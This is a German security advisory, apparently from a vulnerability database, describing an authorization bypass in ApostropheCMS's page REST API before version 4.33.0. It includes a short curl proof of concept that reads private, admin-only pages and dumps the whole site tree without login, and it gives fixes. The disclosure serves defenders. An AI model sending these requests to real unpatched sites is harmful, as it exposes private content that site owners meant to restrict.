ApostropheCMS: Autorisierungsumgehung in der Seiten-REST-API
Zusammenfassung
Die zentrale Seiten-REST-API liest vollständige Seitendokumente mit .permission(false) in getOne und im all=1-Baum-Dump, wodurch Überprüfungen des Seitentyps für viewRole, visibility: private und visibility: loginRequired umgangen werden. Nicht authentifizierte Besucher und Mitwirkende mit geringen Rechten können über _id/Slug Seiteninhalte lesen, die nur Administratoren zugänglich oder nicht öffentlich sind.
Details
packages/apostrophe/modules/@apostrophecms/page/index.js:
getOne(L456–465):await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)— kein Schwellenwert fürviewRole, keine Filterung nachvisibility.all-Handler (L318–395):getRestQuery(req).permission(false)(L384–385) durchläuft jeden Seitentyp und gibt die Projektion einschließlichvisibilityzurück.publicApiCheckAsync(L3044) prüft lediglich, obpublicApiProjectionexistiert — es erfolgt keine Autorisierung.- Eine korrekte Steuerung verhält sich anders:
piece-type/index.js:getOne(L319–327) verwendetgetRestQuery(req)ohne.permission(false)und erzwingtviewRole.
PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Auswirkungen
Nicht authentifizierte Offenlegung von visibility: private- und loginRequired-Seiten (vollständige Dokumente, nicht nur Pfade) sowie der gesamten Websitestruktur mit Sichtbarkeits-/Typmetadaten; Mitwirkende können reine Administrator-Seitentypen und deren geschützte Felder einsehen. Da _id aufzählbar sind und über all=1 offengelegt werden, ist dies ein systemisches Problem.
Was zu tun ist
Aktualisieren Sie auf ApostropheCMS Version 4.33.0 oder höher.
Alternativ entfernen Sie .permission(false) aus getOne/all oder wenden Sie erneut den viewRole-Schwellenwert des Typs sowie dieselben Kriterien für visibility/erforderliche Anmeldung an, die von den Listen- und Autovervollständigungspfaden verwendet werden (Spiegelung von piece-type); setzen Sie publicApiCheck auf reine Konfigurationsanwesenheit und fügen Sie pro Verb einen expliziten Autorisierungsschritt hinzu.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | apostrophe | < 4.33.0 | 4.33.0 |
Verweise
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Schwäche (CWE)
CWE-863- Plattform
- npm
- Paket
apostrophe- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 20.10.2026 21:36
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-2j32-q6rx-h844 - CC BY 4.0
Schwachstellenhistorie: apostrophe
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 27
- Erste → letzte
- 09.2020 10.2026
- Ohne Fix
- 4
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 8
- Mittel 13
- Niedrig 4
Veröffentlichungen pro Jahr
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Autorisierungsumgehung in der Seiten-REST-API dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.